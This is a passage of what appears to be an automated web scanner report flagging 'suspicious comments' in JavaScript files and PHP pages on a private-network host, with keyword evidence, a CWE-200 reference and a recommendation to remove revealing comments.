http://192.168.1.10:80//assets/js/ie10-viewport-bug-workaround.js
http://192.168.1.10:80//assets/js/jquery.js
http://192.168.1.10:80//assets/js/jquery.js
http://192.168.1.10:80//assets/js/jquery.lightbox-0.5.js
http://192.168.1.10:80//assets/js/jquery.lightbox-0.5.js
http://192.168.1.10:80//assets/js/jquery.lightbox-0.5.js
http://192.168.1.10:80//assets/js/jquery.lightbox-0.5.js
http://192.168.1.10:80//assets/js/jquery.min.js
http://192.168.1.10:80//assets/js/jquery.min.js


Method GET

Attack

Evidence select

URL http://192.168.1.10:80//assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80//assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10:80//assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence later

URL http://192.168.1.10:80//assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence TODO

URL http://192.168.1.10:80//assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence user

URL http://192.168.1.10:80//assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence where

URL http://192.168.1.10:80//docs.min.js

Method GET

Attack

Evidence query

URL http://192.168.1.10:80//jquery.min.js

Method GET

http://192.168.1.10:80//assets/js/jquery.ui.custom.js
http://192.168.1.10:80//assets/js/jquery.ui.custom.js
http://192.168.1.10:80//assets/js/jquery.ui.custom.js
http://192.168.1.10:80//assets/js/jquery.ui.custom.js
http://192.168.1.10:80//assets/js/jquery.ui.custom.js
http://192.168.1.10:80//assets/js/jquery.ui.custom.js
http://192.168.1.10:80//assets/js/jquery.ui.custom.js
http://192.168.1.10:80//assets/js/jquery.ui.custom.js
http://192.168.1.10:80//docs.min.js
http://192.168.1.10:80//jquery.min.js


Attack

Evidence db

URL http://192.168.1.10:80//jquery.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80/assets//jquery.min.js

Method GET

Attack

Evidence db

URL http://192.168.1.10:80/assets//jquery.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80/assets/js//application.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80/assets/js//bootstrap-typeahead.js

Method GET

Attack

Evidence query

URL http://192.168.1.10:80/assets/js//bootstrap-typeahead.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80/assets/js//bootstrap.js

Method GET

Attack

Evidence query

URL http://192.168.1.10:80/assets/js//bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80/assets/js//docs.min.js

Method GET

Attack

Evidence query

URL http://192.168.1.10:80/assets/js//ie-emulation-modes-warning.js

Method GET

Attack

http://192.168.1.10:80//jquery.min.js
http://192.168.1.10:80/assets//jquery.min.js
http://192.168.1.10:80/assets//jquery.min.js
http://192.168.1.10:80/assets/js//application.js
http://192.168.1.10:80/assets/js//bootstrap-typeahead.js
http://192.168.1.10:80/assets/js//bootstrap-typeahead.js
http://192.168.1.10:80/assets/js//bootstrap.js
http://192.168.1.10:80/assets/js//bootstrap.js
http://192.168.1.10:80/assets/js//docs.min.js
http://192.168.1.10:80/assets/js//ie-emulation-modes-warning.js


Evidence bug

URL http://192.168.1.10:80/assets/js//ie-emulation-modes-warning.js

Method GET

Attack

Evidence BUGS

URL http://192.168.1.10:80/assets/js//ie10-viewport-bug-workaround.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80/assets/js//jquery.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80/assets/js//jquery.js

Method GET

Attack

Evidence username

URL http://192.168.1.10:80/assets/js//jquery.lightbox-0.5.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80/assets/js//jquery.lightbox-0.5.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80/assets/js//jquery.lightbox-0.5.js

Method GET

Attack

Evidence user

URL http://192.168.1.10:80/assets/js//jquery.lightbox-0.5.js

Method GET

Attack

Evidence Where

URL http://192.168.1.10:80/assets/js//jquery.min.js

Method GET

Attack

Evidence db

URL http://192.168.1.10:80/assets/js//jquery.min.js

Method GET

Attack

Evidence select

http://192.168.1.10:80/assets/js//ie-emulation-modes-warning.js
http://192.168.1.10:80/assets/js//ie10-viewport-bug-workaround.js
http://192.168.1.10:80/assets/js//jquery.js
http://192.168.1.10:80/assets/js//jquery.js
http://192.168.1.10:80/assets/js//jquery.lightbox-0.5.js
http://192.168.1.10:80/assets/js//jquery.lightbox-0.5.js
http://192.168.1.10:80/assets/js//jquery.lightbox-0.5.js
http://192.168.1.10:80/assets/js//jquery.lightbox-0.5.js
http://192.168.1.10:80/assets/js//jquery.min.js
http://192.168.1.10:80/assets/js//jquery.min.js


URL http://192.168.1.10:80/assets/js//jquery.ui.custom.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80/assets/js//jquery.ui.custom.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10:80/assets/js//jquery.ui.custom.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80/assets/js//jquery.ui.custom.js

Method GET

Attack

Evidence later

URL http://192.168.1.10:80/assets/js//jquery.ui.custom.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80/assets/js//jquery.ui.custom.js

Method GET

Attack

Evidence TODO

URL http://192.168.1.10:80/assets/js//jquery.ui.custom.js

Method GET

Attack

Evidence user

URL http://192.168.1.10:80/assets/js//jquery.ui.custom.js

Method GET

Attack

Evidence where

URL http://192.168.1.10:80/assets/js/google-code-prettify//prettify.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80/assets/js/google-code-prettify//prettify.js

Method GET

Attack

Evidence where

URL http://192.168.1.10:80/bootstrap/bootstrap/js/application.js

http://192.168.1.10:80/assets/js//jquery.ui.custom.js
http://192.168.1.10:80/assets/js//jquery.ui.custom.js
http://192.168.1.10:80/assets/js//jquery.ui.custom.js
http://192.168.1.10:80/assets/js//jquery.ui.custom.js
http://192.168.1.10:80/assets/js//jquery.ui.custom.js
http://192.168.1.10:80/assets/js//jquery.ui.custom.js
http://192.168.1.10:80/assets/js//jquery.ui.custom.js
http://192.168.1.10:80/assets/js//jquery.ui.custom.js
http://192.168.1.10:80/assets/js/google-code-prettify//prettify.js
http://192.168.1.10:80/assets/js/google-code-prettify//prettify.js
http://192.168.1.10:80/bootstrap/bootstrap/js/application.js


Method GET

Attack

Evidence from

URL http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap-typeahead.js

Method GET

Attack

Evidence query

URL http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap-typeahead.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap.js

Method GET

Attack

Evidence query

URL http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap.min.js

Method GET

Attack

Evidence query

URL http://192.168.1.10:80/bootstrap/bootstrap/js/google-code-prettify/prettify.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80/bootstrap/bootstrap/js/google-code-prettify/prettify.js

Method GET

Attack

Evidence where

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.js

Method GET

Attack

Evidence username

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.lightbox-0.5.js

Method GET

http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap-typeahead.js
http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap-typeahead.js
http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap.js
http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap.js
http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap.min.js
http://192.168.1.10:80/bootstrap/bootstrap/js/google-code-prettify/prettify.js
http://192.168.1.10:80/bootstrap/bootstrap/js/google-code-prettify/prettify.js
http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.js
http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.js
http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.lightbox-0.5.js


Attack

Evidence from

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence user

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence Where

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.min.js

Method GET

Attack

Evidence db

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.min.js

Method GET

Attack

Evidence username

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.ui.custom.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.ui.custom.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.ui.custom.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.ui.custom.js

Method GET

Attack

Evidence later

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.ui.custom.js

Method GET

Attack

http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.lightbox-0.5.js
http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.lightbox-0.5.js
http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.lightbox-0.5.js
http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.min.js
http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.min.js
http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.ui.custom.js
http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.ui.custom.js
http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.ui.custom.js
http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.ui.custom.js
http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.ui.custom.js


Evidence select

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.ui.custom.js

Method GET

Attack

Evidence TODO

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.ui.custom.js

Method GET

Attack

Evidence user

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.ui.custom.js

Method GET

Attack

Evidence where

URL http://192.168.1.10:80/bootstrap/js/application.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80/bootstrap/js/bootstrap.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence Bug

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence db

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence TODO

URL http://192.168.1.10:80/bootstrap/js/ie8-responsive-file-warning.js

Method GET

Attack

Evidence bug

http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.ui.custom.js
http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.ui.custom.js
http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.ui.custom.js
http://192.168.1.10:80/bootstrap/js/application.js
http://192.168.1.10:80/bootstrap/js/bootstrap.js
http://192.168.1.10:80/bootstrap/js/customize.min.js
http://192.168.1.10:80/bootstrap/js/customize.min.js
http://192.168.1.10:80/bootstrap/js/customize.min.js
http://192.168.1.10:80/bootstrap/js/customize.min.js
http://192.168.1.10:80/bootstrap/js/ie8-responsive-file-warning.js


URL http://192.168.1.10:80/bootstrap/js/raw-files.min.js

Method GET

Attack

Evidence TODO

URL http://192.168.1.10:80/bootstrap/js/vendor/filesaver.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10:80/bootstrap/js/vendor/holder.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence Bug

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence db

URL http://192.168.1.10:80/bootstrap/js/vendor/less.min.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/

Method POST

Attack

Evidence Username

URL http://192.168.1.10/login.php

Method POST

Attack

Evidence Username

URL http://192.168.1.10/mail.php

Method POST

Attack

Evidence user

Instances 525

Solution
Remove all comments that return information that may help an attacker and fix any 
underlying problems they refer to.

Reference

CWE Id 200

http://192.168.1.10:80/bootstrap/js/raw-files.min.js
http://192.168.1.10:80/bootstrap/js/vendor/filesaver.js
http://192.168.1.10:80/bootstrap/js/vendor/holder.js
http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js
http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js
http://192.168.1.10:80/bootstrap/js/vendor/less.min.js
http://192.168.1.10/
http://192.168.1.10/login.php
http://192.168.1.10/mail.php
https://cwe.mitre.org/data/definitions/200.html


WASC Id 13

Plugin Id 10027

https://www.zaproxy.org/docs/alerts/10027/
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